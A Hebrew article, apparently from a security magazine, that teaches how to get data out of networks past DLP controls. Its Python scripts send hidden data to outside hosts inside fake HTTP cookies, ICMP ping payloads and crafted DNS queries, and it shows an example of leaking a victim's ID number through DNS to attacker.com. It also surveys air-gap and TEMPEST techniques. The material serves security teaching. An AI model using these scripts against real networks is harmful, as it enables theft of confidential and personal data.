
 

 

 צריכים היו לא סוני שתוקפי טיפים

 נתיב tisf ויובל 5Fingers מאת

 הקדמה

מאמרים רבים במגזין דיברו על נושא התקיפה עצמה. כיצד לבנות ניצולים טובים, כיצד לנתח או לבנות 

נוזקות טובות וגם הרבה נכתב על תהליך איסוף המידע לפני התקיפה. כל אלה חשובים מאוד לכלל 

נושא בתהליך יצירת הסוס בו נשתמש -פה ולעולם ההאקינג. מאמר זה מגיע כדי לסקור תתתהליך התקי

ובמקומות  ,הוצאת נתונים. תהליך זה לרוב נשמע פשוט יחסית -מטרה לשמה לרוב נעשית התקיפה הו

מושם על תהליך הדגש רב יותר ויותר  ישנו אך נוכל לראות שבסוסים מתקדמים יותר ,רבים לא מנוטר

אף יישמו מיני מערכת הפעלה  ,Reginכגון  ,ה של התקשורת עצמה. סוסים מתוחכמים במיוחדההסלק

אלא אף שינה את גישת האיפיון של הנוזקה  ,כאשר הזלגת נתונים הוא לא רק תהליך מרכזי ,משלהם

 והפך אותה למיוחדת ויקרה בהרבה. 

מכיל שתי טכניקות נפרדות של בתור דוגמא, נוכל לראות שלא רק שהוא  Reginאם נסתכל על הסוס 

להסתיר את הגישה לקבצים ואת בניית החבילות  שבשבילאלא  ,הזלגת נתונים )עליהן נדבר בהמשך(

-עצמן יושמה בתוך הנוזקה )אשר הושתלה כדרייבר של מערכת ההפעלה( מערכת ניהול וגישה לקבצים ו

TCP/IP Stack ות מערכת הפעלה, דבר שיוכל להיתפס מלא בפני עצמו בכדי לא לעורר חשד ולקרוא לקריא

 מאוחר יותר. 

, מנסות למנוע זליגת נתונים מהארגון. ישנן Data Leakage Prevention, הידועות בשם DLPמערכות 

אך יחד עם זאת יש לזכור שתי מגבלות חשובות  ,דרכים רבות לנסות להתמגן בפני הוצאת מידע מהארגון

 יות ולא ניתנות לגישור:שהינן אינהרנט DLPמאוד של מערכות 

. כאשר אנו מעבירים מידע מסויים דרך הדפדפן Context-Aware( אינן DLP-מערכות מידע )בלי קשר ל .1

שלנו, לדוגמא, הוא אינו מודע לאיזה מידע הוא מעביר. הוא יודע באיזה פרוטוקול ומה המוסכמויות 

 אך הוא אינו מודע לתוכן המידע. 

ביטחוניים( ישנו צורך אמיתי וממשי, כדרך קבע, לקבל ולהוציא מידע לארגונים "סטנדרטיים" )לא  .2

מקשה על  ומארגון. מידע זה יהיה נגזרת של חומרי העבודה ותחום העיסוק של הארגון. עובדה ז

ולכן בדיקה של מהי חריגה  ,להוציא ולקבל מידע מבחוץ -זהו טבע העסק , שכן DLPיישום מערכות 

 האם הנורמה נקבעת לפי כמות? רגישות?  מהנורמה קשה יותר ליישום.
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על ידי הבנה של החוקים  ,במאמר הבא אנחנו נראה כיצד אנו יכולים להתמודד עם סוגי חסימות שונות

כדי להבין כיצד עלינו לעקוף אותו. דגש  ,תנסה לסנן את המידע היוצא מהארגון DLP-לפיהם מערכת ה

בסוגיית התקשורת היוצאת )הזלגת נתונים( ואיננו  חשוב למאמר זה הוא שאנו עומדים לדון אך ורק

תקשורת יוצאת  -( C&C -)להבא  Command and Control-עומדים לדון בסוגיית תקשורת עם שרת ה

 ונכנסת. 

 ?שחוסמות לפי פרוטוקולים מסויימים DLPאיך מתמודדים עם מערכות 

יין של מה בכך, כל אדם צריך לשאול את ליין נהיו ענ-בעולם האינטרנטי/דיגיטלי כאשר קניות ומסחר און

 שאלות. 3עצמו 

 איפה המידע הרגשי שלי שמור? .1

 באיזו דרך המידע הרגיש שלי עובר? .2

 מה אני עושה במידה והמידע הרגיש שלי דלף? .3

, מערכת שנותנת פתרון מניעה לדליפת נתונים מהמערכת ע"י זיהוי הפרת DLPלשם כך הומצאה מערכת 

 נתונים פוטנציאלית.

 Data leakage  -DLPניתן לקרוא את המאמר  DLPלהסבר מקיף יותר על : ערהה

Prevention  של המגזין 31-בגיליון השל אלכס ליפמן שפורסם. 

שמשתמשי קצה מורשים  , על מנתודי וחיונימשתמשים בחוקים על מנת לסווג ולהגן על מידע ס DLPמוצרי 

לא יוכלו בטעות או בזדון לשתף נתונים שחשיפתם יכול לשים את הארגון בסיכון. לדוגמא, אם עובד ינסה 

להעביר דואר אלקטרוני עסקי מחוץ לתחומי הארגוני או להעלות קובץ ארגוני לאחד משירותי האחסון בענן 

 א תאושר., פעולת העובד נדחה ולDropboxכמו 

-, ובכך להשתמש בחולשה במנגנון הExfiltrationהנושא הזה, להזין  ינתהדבר הוביל לפיתוח כלי לבח

DLP. 

 תרחישים שונים

 DLPמערכת ארגונית ללא מנגנון 

פועלת כמערכת לאכיפה של מדיניות אבטחת מידע. היא מספקת מסגרת ניהול מרכזית  DLPמערכת 

מגן מפני טעויות שיכולים  DLPמורשה בהעברת המידע הסודי שלך.  שנועדה לזהות ולמנוע שימוש לא

ל לדליפת נתונים ושימוש לרעה מכוונת על ידי יודעי דבר, כמו גם התקפות חיצוניות על תשתית ובילה

 הארגון שלך.

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/files/Zines/0x1F/DW31-5-DLP.pdf
http://www.digitalwhisper.co.il/files/Zines/0x1F/DW31-5-DLP.pdf
http://www.digitalwhisper.co.il/files/Zines/0x1F/DW31-5-DLP.pdf
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אובדן נתונים רגישים של מידע ארגוני יכול להוביל להפסדים כספיים משמעותיים ופגיעה במוניטין. בעוד 

והגנה על נתונים הפכה לנושא חם, ארגונים רבים עדיין אינם  ,ברות כיום מודעות היטב לסכנות אלהח

כדי  DLPדוע הארגון צריך מערכת ודות ממס' נק נראהתפיסה זו  כנגד. DLPמכירים היטב את נושא ה

 למנוע אובדן נתונים.

 היכן המידע החסוי של הארגון מאוחסן ומי נגיש אליו?

מיקום ושימוש בנתונים ברחבי הארגון. היא בודקת  עלמעלות  360מספקת ביטחון של  DLPטכנולוגית 

להגן ולשלוט במידע רגיש הכולל לקוחות,  תפעולות רשת נגד מדיניות האבטחה של הארגון, ומאפשר

(, נתונים כספיים וקניין רוחני. עם הבנה מעמיקה של נתונים אלה, הארגון יכול PIIפרטי זיהוי אישי )

 להגדיר את המדיניות המתאימה כדי להגן עליו, ולקבל החלטות על מה צריכים להגן ובאיזה מחיר.

יש מערכות להגנה על נתונים מפני פולשים חיצוניים, אבל לא בהגנה מפני גניבה של מידע  ארגוןל

 רגיש על ידי עובדים ושותפים.

ות. גילוי או טיפול שגוי של מידע חסוי שלא לא כל אובדן נתונים הוא התוצאה של התקפות חיצוניות, זדוני

יכולה לזהות קבצים המכילים מידע סודי ולמנוע  DLPבמתכוון ע"י העובדים פנימיים הוא גורם משמעותי. 

 DLPומדיה נשלפת אחרת.  USBלחסום העברות נתונים רגישות לכונני  ניתןמהם לצאת מרשת הארגון. 

נתונים על בסיס מקרה לפי מקרה. לדוגמא, אם אירוע ביטחוני  מציעה גם יכולת ליישם מדיניות שתשמור

 מזוהה, ניתן לחסום באופן מיידי גישה לתחנת עבודה ספציפית.

אחר הארגון כדי לזהות התנהגות בלתי הולמת של עובדים ושמירה של נתונים לזיהוי פלילי  מעקב

 .של אירועים בטחוניים

משמעותי לאבטחת מידע. עובד שמייל או מסמך הקשור לעבודה עובדים בתוך הארגון יכולים להוות סיכון 

לעבוד בסוף השבוע. עם זאת, הוא או היא מהווה איום  , לדוגמא,כדיבמקושר לחשבון האישי שלו בארגון 

מעלות, הכולל דואר אלקטרוני,  360מציעה ניטור של  DLPעצום כאשר יש מידע חסוי המעורב. טכנולוגית 

ראיות בארכיון של על דות, מסמכים ויישומי תוכנה בשימוש. זה גם מאפשר לשמור הודעות מיידיות, הקל

יכולים  םעובדימ מיאינטרנט, ושליטה ל, אתה יכול להגביל ולסנן גלישה DLPאירועים לניתוח משפטי. עם 

 .פגעו בארגוןיכלי חזק המאפשר להפסיק פעילות מסוכנת ועוזר לזהות בעיות לפני שהם י ו. זהאליו לגשת

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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 מערכת ארגונית החוסמת שירותים כללייםהתמודדות עם 

. התוקף שולח בקשה עבור הדומיין שהוא nslookup-, הוא השימוש בDLPוקטור תקיפה ידוע העוקף 

המכיל את הנתונים שצריכים להישלח אל מחוץ לסביבה המבוקרת.  hostnameמעוניין, אך מוסיף 

-yuval123שם ומספר תעודת זהות של הקורבן עליו לבקש "המשמעות היא שאם תוקף רוצה לגנוב את 

45-1234.attacker.comבקשה זו היתה פוגעת בשרת ה "- DNS  וע"י החיבור אליו ניתן ליצור רשימה של

תווים להתקפה מסוג זה.  255זהויות לתוקף שישמש אותו במועד מאוחר יותר. הגבול המקסימאלי הוא 

 ,http://attacker.com/yuval123-45-1234כגון  ,סטנדרטית GETשת מושג זה גרם לי לחשוב לגבי בק

 .DNS -עשה את החיים קלים יותר לתוקף. הוא כבר לא יהיה צריך לשלוט בשרת השת

( תהיה דרך מצוינת לעקוף את COOKIESלאחר שיחה עם מס' חברים, נראה היה ששימוש בעוגיות )

גם אם העוגייה קודדה או  ,ע"י פרוקסי או מערכות אחרות . עוגיות אינן מחוברות בדרך כללDLP-מערכת ה

 תווים ובקשה אחת יכולה לשלוח עוגיות רבות. 255הוצפנה. יתרון נוסף שאנחנו לא מוגבלים ע"י מקסימום 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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. נוכל HTTPנניח לדוגמא רשת שבה תעבורת רשת החוצה מהארגון מתאפשרת רק בעזרת פרוטוקול 

לא רק מסתכלת על הפורט אליו יוצאת הבקשה אלא גם על תוכן  DLP-להקצין ולהניח אפוא שמערכת ה

 נוכל להניח את שתי הבדיקות הללו:, . אם כךHTTPהבקשה ומוודא שמדובר בפרוטוקול 

. פשוט אך יעיל. אנו רוצים לוודא שחבילות tcp.dport == 80כזה לדוגמא:  רבדיקת רשת. הרצת פילט .1

 (. כו'ו 8080-ו 443)מזניחים  80יוצאות אך ורק אל פורט 

 לאחר מהבאים: regexבדיקת התקשורת. נוכל לנסות להתאים חיפוש  .2

r'(GET||POST)\s.+\s(HTTP/1.[0-1])' 

ונניח שגם מנכ"ל סיסקו  ,. נגדיל ונעשהHTTPאם כך, נצטרך להניח שעלינו לדבר במשהו שנראה כמו 

לא את החבילה. נוכל לנסות לייצר את ומחליט האם לאשר או  ,יושב על התווך וקורא כל הודעה והודעה

 סטנדרטית: HTTPהקוד הבא שיזייף חבילת 

#!/usr/bin/env python 

 

import sys 

import socket 

 

""" Constants """ 

HOST = "www.morirt.com.com" 

PAGE = "exfil.php" 

PORT = 80 

PROTOCOL = "HTTP/1.1" 

GET = "GET" 

USER_AGENT = "WhisperAgent/1.0.3" 

TERMINATORS = ["Accept-Encoding: gzip", "Accept-Charset: ISO-8859-1,UTF-

8;q=0.7,*;q=0.7", "Cache-Control: no-cache"] 

NEW_LINE = "\r\n" 

 

request_header = "" 

request_header += GET + " /" + PAGE + " " + PROTOCOL + NEW_LINE 

request_header += "Host: " + HOST + NEW_LINE 

request_header += "Connection: close" + NEW_LINE 

request_header += "User-Agent: " + USER_AGENT + NEW_LINE 

for term in TERMINATORS: 

    request_header += term + NEW_LINE 

request_header += NEW_LINE*2 

print "finished building package" 

 

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

server_address = (HOST, PORT) 

sock.connect(server_address) 

sock.sendall(request_header) 

sock.close() 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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 נוכל לראות את החבילה כאן:

 

כמספר  שמשמ. השדה הזה cookies-נוכל לנסות לעשות שינויים קטנים בקוד כדי לנצל את השדה של ה

אסור שאיש  ,מוכיח לשרת שהמשתמש עבר אימות. פרט לשרתהלאחר אימות ש ,בין השרת למשתמש

דע לנחש או לחזות יתוקף י תאחר ,)והוא פעמים רבות רנדומלי( cookie-דע כיצד מתחולל אותו היי

 באמצע. אימותים עתידיים. לכן שדה זה בסופו של דבר הוא ג'יבריש גם למשתמש וגם לכל האנשים 

 הבא:ננסה לרכב על שדה זה בעזרת הקוד 

#!/usr/bin/env python 

 

import sys 

import socket 

from Crypto.Cipher import ARC4 

 

""" Constants """ 

HOST = "www.morirt.com" 

PAGE = "exfil.php" 

PORT = 80 

PROTOCOL = "HTTP/1.1" 

GET = "GET" 

USER_AGENT = "WhisperAgent/1.0.3" 

TERMINATORS = ["Accept-Encoding: gzip", "Accept-Charset: ISO-8859-1,UTF-

8;q=0.7,*;q=0.7", "Cache-Control: no-cache"] 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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NEW_LINE = "\r\n" 

SECRET_KEY = '01234567' 

SECRET_TEXT = "Digital Whisper is whispering over the wire" 

 

# Create the encrypted data 

obj1 = ARC4.new(SECRET_KEY)   # RC4 obj 

cipher_text = obj1.encrypt(SECRET_TEXT) # Encrypt 

secret = base64.b64encode(cipher_text) # Base64 encode for ASCII 

representable data 

 

request_header = "" 

request_header += GET + " /" + PAGE + " " + PROTOCOL + NEW_LINE 

request_header += "Host: " + HOST + NEW_LINE 

request_header += "Cookies: " + "PHPSESSID=" + secret + NEW_LINE 

request_header += "Connection: close" + NEW_LINE 

request_header += "User-Agent: " + USER_AGENT + NEW_LINE 

for term in TERMINATORS: 

 request_header += term + NEW_LINE 

request_header += NEW_LINE*2 

print "finished building package" 

 

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

server_address = (HOST, PORT) 

sock.connect(server_address) 

sock.sendall(request_header) 

sock.close()  

 

 

 מערכת ארגונית המאפשרת פרוטוקולים מסויימים בלבדהתמודדות עם 

. משמע שכל הפרוטוקולים white-listלעיתים רבות אנו נראה חסימה כללית ואישור פרוטוקולים על בסיס 

בתוך התערובת  TCPוגם  UDPחסומים פרט לאלו המאושרים. נניח גם, לצורך הנושא, שאנו כוללים גם 

)כפי שקורה פעמים רבות(. סקרנו בחלק הקודם את  UDPרכת לא שכחו מפרוטול הזאת ושמטמיעי המע

אך  TCPאו  UDPאך נניח אפוא שגם זה מבוטל. ישנו פרוטוקול אשר אינו נופל לתוך  HTTP-פרוטוקול ה

לאתר תקלות תקשורת ולבדוק האם  טמסתמכים עליו באופן כמעט מוחל ITנדיר מאוד לבטלו. אנשי 

 יר.ועדיין נמצאות באושרתים ומכונות 
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קיים במיוחד בשביל זה. עם זאת, פרוטקול זה גם יכול להוכיח עצמו כבעייתי במצבים  ICMP-פרוטוקול ה

 . "echo request" או "ping"הידועה בשמה   ICMP 8נבחן חבילת  המסויימים. הב

 

 ומורכבת מהרכיבים הבאים: IPרוכבת על פרוטקול  ICMPחבילת נגלה ש

 . 8 -של סוג הבקשה, במקרה שלנו  בית אחד ●

 . NULLבמקרה שלנו  -בית אחד של קוד הבקשה  ●

 . checksum-שני בתים ל ●

 . BEשני בתים למזהה של  ●

 . LEשני בתים למזהה של  ●

 . BEשני בתים לספרור  ●

 . LEשני בתים לספרור  ●

● X  בתים של הנתונים. לרוב ימולא בתויםa-z  .באופן רפטטיבי 

http://www.digitalwhisper.co.il/
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 בתצורה הבאה: ICMPחבילת נוכל אפוא לבנות 

 

 בעזרת הקוד הבא:

#!/usr/bin/env python 

 

import os 

import time 

import struct 

import socket 

 

# Constants 

ICMP_ECHO_REQUEST = 8  

LOCALHOST = "127.0.0.1" 

EXFIL_HOST = "192.168.0.1" 

NULL = "\x00" 

ID = 42 

 

# Socket setup 

icmp = socket.getprotobyname("icmp") 

my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp) 

my_ID = os.getpid() & 0xFFFF 

dest_addr  =  socket.gethostbyname(EXFIL_HOST) 

 

# Packet setup 

my_checksum = 0 

header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1) 

http://www.digitalwhisper.co.il/
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bytesInDouble = struct.calcsize("d") 

data = (192 - bytesInDouble) * "Q" 

data = struct.pack("d", time.time()) + data 

 

# Send it 

header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, 

socket.htons(my_checksum), ID, 1) 

packet = header + data 

my_socket.sendto(packet, (dest_addr, 1))  

 

# Close 

my_socket.close() 

 ICMPכמו שציפינו. העברת מידע על גבי  Qונוכל לראות שבאמת כל המידע שעבר מורכב מהאותיות 

 מעכשיו הוא אינו תהליך קשה:

#!/usr/bin/env python 

 

import os 

import time 

import struct 

import socket 

 

# Constants 

ICMP_ECHO_REQUEST = 8  

LOCALHOST = "127.0.0.1" 

EXFIL_HOST = "192.168.0.1" 

NULL = "\x00" 

ID = 42 

secret_string = "Digital Whisper is awesome! " 

 

# Socket setup 

icmp = socket.getprotobyname("icmp") 

my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp) 

my_ID = os.getpid() & 0xFFFF 

dest_addr  =  socket.gethostbyname(EXFIL_HOST) 

 

# Packet setup 

my_checksum = 0 

header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1) 

bytesInDouble = struct.calcsize("d") 

data = secret_string + (192 - bytesInDouble - len(secret_string)) * "5" 

data = struct.pack("d", time.time()) + data 

 

# Send it 

header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, 

socket.htons(my_checksum), ID, 1) 

packet = header + data 

my_socket.sendto(packet, (dest_addr, 1))  

 

# Close 

my_socket.close() 

http://www.digitalwhisper.co.il/
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 ונקבל:

 

 מערכת ארגונית החוסמת יעדים לא מוכרים

מר שאנחנו במצב דיי בעייתי. מערכת כזאת ואנחנו יכולים ל ומוגדרת בתצורה ז DLPכאשר מערכת 

לעיתים רבות תסתכל על סוג הפרוטוקול והתוכן שלו, אך היא גם תגביל לפי כתובות יעד מסויימות. 

מכיוון שאנו חייבים למצוא רכיב שאליו נוכל לקבל את  ,ות מאוד בעייתית בשבילנומערכת כזאת יכולה להי

 הרשימה אך שהוא עדיין יהיה ברשימת הכתובות המאושרות של אותו ארגון. 

אנחנו נסיק את החוקים הללו  ,מראש DLP-דבר ראשון שחשוב לזכור, מכיוון שאנחנו לא נקבל את חוקי ה

ר שגם יכול מאוד להיות שאנו טעינו בהסקת המסקנות שלנו. כמעט תמיד אך יש לזכו ,מבדיקות שונות

 DLPמשתלם לבדוק את הדברים ה"טריוויאלים" שלרוב אנו מניחים שנחסמו. פעמים רבות קורה שמטמיע 

ושכח ליישם  TCPאו האינטגרטור יישם את החוקים לגבי הגבלת הכתובות אך עשה זאת רק על פרוטוקול 

נשאר פתוח פעמים  ICMPברשימה, פרוטוקול  UDP. או לדוגמא גם אם הכליל את UDPזאת על פרוטוקול 

, ICMPקנאים מאוד לגבי השארת היכולות של  ITהוא דוגמא מעולה מכיוון שאנשי  ICMPרבות. פרוטוקול 

 פינג באופן פרטני, בכדי לאמת רכיבים קיימים. 

http://www.digitalwhisper.co.il/
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ימנות בכדי להעביר תוכן. אתרים אלה אחת הטכניקות השימושיות הינה להשתמש באתרים בעלי מה

מאפשרים לנו, לעיתים שכיחות, אזורי תוכן משלנו. חלק מאזורי תוכן אלה גלויים לציבור וחלק קצת פחות. 

כמערכת  twitter במערכת שימוש עשתה. נוזקה זאת Flashbackלנוזקה כזאת הינה  תדוגמא מובהק

command and control סטטוסים היו עולים לחשבונות מסויימים בקידוד .Base64  והקורבנות התחברו

של אותו חשבון בכדי לדעת אם עליהם להריץ פקודה  RSS-ת עדכוני הבאופן קבוע לחשבונות אלה ובדקו א

 זה או אחרת. 

 

byt3bl33d3r  שרת תקשורת שלכתב קוד יפה שמביא הוכחת יכולת על C&C תקשורת  ידי על נוזקות עם

 . מסוים GMailל חשבון מו

כאן עלינו כבר להתחיל להתגמש קצת בכדי להוציא מידע בכמויות מהארגון. אנחנו יכולים להניח שרק 

פרוטוקולים מסויימים מאושרים וגם הם חסומים ליעדים מוכרים בלבד. אחד הפרוטוקולים שכמעט ולא 

. למרות היותו DNS-ולא לפי יעד הינו פרוטוקול ה עוברים סינון, וגם כאשר כן הסינון מתבצע לפי תוכן

 DNSולכן פתוח לניתוח כמו כל פרוטוקול אחר, פרוטוקול  UDPבפרוטוקול  53פרוטוקול שעובר על פורט 

יכולים להיות בהרבה מקומות וקשה  DNSנחשב לשונה מתוך חיוניותו בפתירת הכתובות. מכיוון ששרתי 

 מאושרים.  DNS יחסית לאפשר יציאה אך ורק לשרתי

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
http://support.apple.com/en-il/HT202458
http://www.intego.com/mac-security-blog/flashback-mac-malware-uses-twitter-as-command-and-control-center/
https://github.com/byt3bl33d3r
https://github.com/byt3bl33d3r
https://github.com/byt3bl33d3r/pyexfil
https://github.com/byt3bl33d3r/pyexfil
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 :DNSנסתכל על חבילת 

00000000  bf ee 01 00 00 01 00 00  00 00 00 00 06 6d 6f 72 ........ .....mor 

00000010  69 72 74 03 63 6f 6d 00  00 01 00 01             irt.com. .... 

00000000  bf ee 81 80 00 01 00 01  00 00 00 00 06 6d 6f 72 ........ .....mor 

00000010  69 72 74 03 63 6f 6d 00  00 01 00 01 c0 0c 00 01 irt.com. ........ 

00000020  00 01 00 00 02 57 00 04  17 e5 94 86             .....W.. .... 

כדי  DNS( של 1034ולא  1035-מקרה זה, בחרנו ב)ב RFC-הנוכל לנסות להשוות את מבנה החבילה מול 

 להבין כיצד נבנתה החבילה ותגובתה.

 (. Transaction IDשני הבתים הראשונים שמורים לספרור החבילה ) ●

 . x01x00 -במקרה זה הדגל הינו דגל בקשה סטנדרטי  -דגלים  ●

 .x00x01שני בתים לכמות שאילתות. במקרה שלנו  ●

 . x00x00 -שני בתים לכמות התגובות  ●

 . NULL-להשאיר כ -שני בתים נוספים שמורים  ●

 כל חלק מהבקשה כאשר לפניו כמות התוים שישלחו.  ●

 . Aלרשומת  x00x01במקרה שלנו  -שני בתים לסוג הכתובת  ●

 . IN Classשני בתים לסוג הבקשה, במקרה שלנו  ●

 מוכנה מראש בעזרת הקוד הבא: DNSמכאן נוכל לנסות לשלוח חבילת 

#!/usr/bin/env python 

 

import socket 

 

FAKE_DNS = "www.morirt.com" 

DNS_PORT = 53 

NULL = "\x00" 

host_to_resolve = "www.not_interesting_hostname.fake" 

res = host_to_resolve.split(".") 

dns = "" 

dns += "\x04\x06"       # Transaction ID 

dns += "\x01\x00"       # Flags - Standard Query 

dns += "\x00\x01"       # Queries 

dns += "\x00\x00"       # Responses 

dns += "\x00\x00"       # Authorities 

dns += "\x00\x00"       # Additional 

for part in res: 

    dns += chr(len(part)) + part 

dns += NULL             # Null termination. Here it's really NULL for 

string termination 

dns += "\x00\x01"       # A (Host Addr), \x00\x1c for AAAA (IPv6) 

dns += "\x00\x01"       # IN Class 

 

addr = (FAKE_DNS, DNS_PORT) 

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 

s.sendto(dns, addr) 

s.close() 

http://www.digitalwhisper.co.il/
http://www.digitalwhisper.co.il/
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 ולאחר הרצה נוכל לראות את החבילה הבאה:

 

יציג לנו הודעת  Wiresharkלראות מתי כלי כמו ובחבילה  עכשיו נוכל להתחיל לשחק עם שדות שונים

malformed packet  ומתי החבילה תראה תקינה. ננסה להוסיף מידע סתם ככה בסוף ההודעה. אם

 .תקינה ויצאה אל יעדהעדיין  הבא נראה שהחבילהבעמוד נסתכל על צילום המסך 

http://www.digitalwhisper.co.il/
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 אך אם נסתכל מקרוב נוכל לראות משהו קצת שונה בחבילה:
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 השינוי הקטן בקוד הוא:

#!/usr/bin/env python 

 

import socket 

 

FAKE_DNS = "www.morirt.com" 

DNS_PORT = 53 

NULL = "\x00" 

host_to_resolve = "www.not_interesting_hostname.fake" 

 

res = host_to_resolve.split(".") 

dns = "" 

dns += "\x04\x06"       # Transaction ID 

dns += "\x01\x00"       # Flags - Standard Query 

dns += "\x00\x01"       # Queries 

dns += "\x00\x00"       # Responses 

dns += "\x00\x00"       # Authorities 

dns += "\x00\x00"       # Additional 

for part in res: 

    dns += chr(len(part)) + part 

dns += NULL             # Null termination. Here it's really NULL for 

string termination 

dns += "\x00\x01"       # A (Host Addr), \x00\x1c for AAAA (IPv6) 

dns += "\x00\x01"       # IN Class 

 

# Here we try to exfiltrate: 

dns += NULL 

dns += "Digital Whisper is a super secret society actually controlling 

the lizards who control the world. " + NULL 

 

addr = (FAKE_DNS, DNS_PORT) 

 

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 

s.sendto(dns, addr) 

s.close() 

 

 air-gappedמערכת 

 מעט וכמעט ןלמרות שעדיין מיישמים אות ,להיות דבר נפוץ יותר ויותר כותהופ air-gappedרשתות שהן 

בארגונים אשר רגישים מאוד לנושא זליגת מידע. המשמעות של רשתות כאלה הינן שהרשת עצמה  רק

אחת לשניה. מערכות כאלה מהוות את הבעיה לא מחוברות כלל  -מופרדת מהשניה באמצעות "אויר" 

 הגדולה ביותר בהזלגת הנתונים בזה שהן דורשות גישה פיזית של התוקף. 

מחוסר ברירה ודרישה של גישה פיזית נדבר על מצבים בהם אנו יכולים לנסות להוציא מידע מתוך 

אנו עובדים. נצא הרשתות הללו ללא חיבור רשתי לאינטרנט או לרשת שהיא שונה מהמכונה שעליה 

 . NSA-השמציעים  ווכמ Bruce Schneierמנקודת הנחה שיושמה הפרדת הרשתות כנדרש כמו שמציע 

http://www.digitalwhisper.co.il/
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יזית אל אחת המכונות ברשת ועליה יש לנו שליטה מלאה. יש לנו כמה דרכים נניח גם שאנו מחוברים פ

 לבצע תקיפות שונות בכדי להזליג מידע. 

בהנחה שאנחנו לא רוצים להקפיץ אזעקות ושיש מנגנוני התראה סבירה אנו הערה: 

  לא ננסה לחבר את המכונה לנתב או חיצונית לרשת אחרת.

 QRקודי 

ים נחמדים שפשוט מייצגים מידע באופן ויזואלי בדרך שנוחה לנו לסרוק במקום הם קודים מרובע QRקודי 

נבנו על מנת לעזור לנו להוציא מידע מרשתות על ידי פירוק קובץ לגדלים  אלהלהקליד. מערכות 

 ביט( וסורקים קטנים למערכות אנדרואיד לסרוק את הקובץ החוזר.  40)לרוב  QRהמתאימים לקודי 

 .כאן והוכחת יכולת + וידאו נחמדניתן למצוא קוד 

TEMPEST 

TEMPEST הוא מונח שטבעו ה-NSA  כחלק מהסמכה שלהם ושלNATO  המתמודדת עם זליגה לא

נבנו  מתוכננת של אותות רדיו, אותות חשמליים, קולות, ויברציות וטמפרטורות. הוכחות יכולת רבות

 S-להראות כיצד ניתן לשחזר מידע רגיש מאוד מהמכונות ללא גישה פיזית אליהן. עדי שמיר לדוגמא, )ה

לעוצמת  האזנה דרך מחשב( הצליח לייצר מכשיר וטכניקה לשחזור מפתח פרטי מזכרון של RSA-ב

 מטרים. 40ים של עד המאורר של המעבר ממרחק

 סיכום

לשחק קצת עם נושא הזלגת המידע. ורצון  PyExfil המאמר נכתב בעקבות כתיבת חבילת פיית'ון בשם

 . Reginהכלי הנ"ל נכתב בהשראת הנוזקה 

כם. החוכמה היא לנסות לעלות תוקפים תמיד יצליחו למצוא דרך להוציא חומרים רגישים מהרשת של

תמיד יפספסו דברים. אנחנו צריכים  DLPעליהם בעת ההתחלה של הפעולות ושל פעולות האיסוף. מנגנוני 

 .עלשים עין על אנומליות כדי שלא נגמור כמו סוני

 הצריכ יתהה ICMPדרך  12GBאחרת  ,כנראה לא קראו קצת על אקספילטרציה של נתונים, סוני אגב

  ורה אדומה...להדליק נ

http://www.digitalwhisper.co.il/
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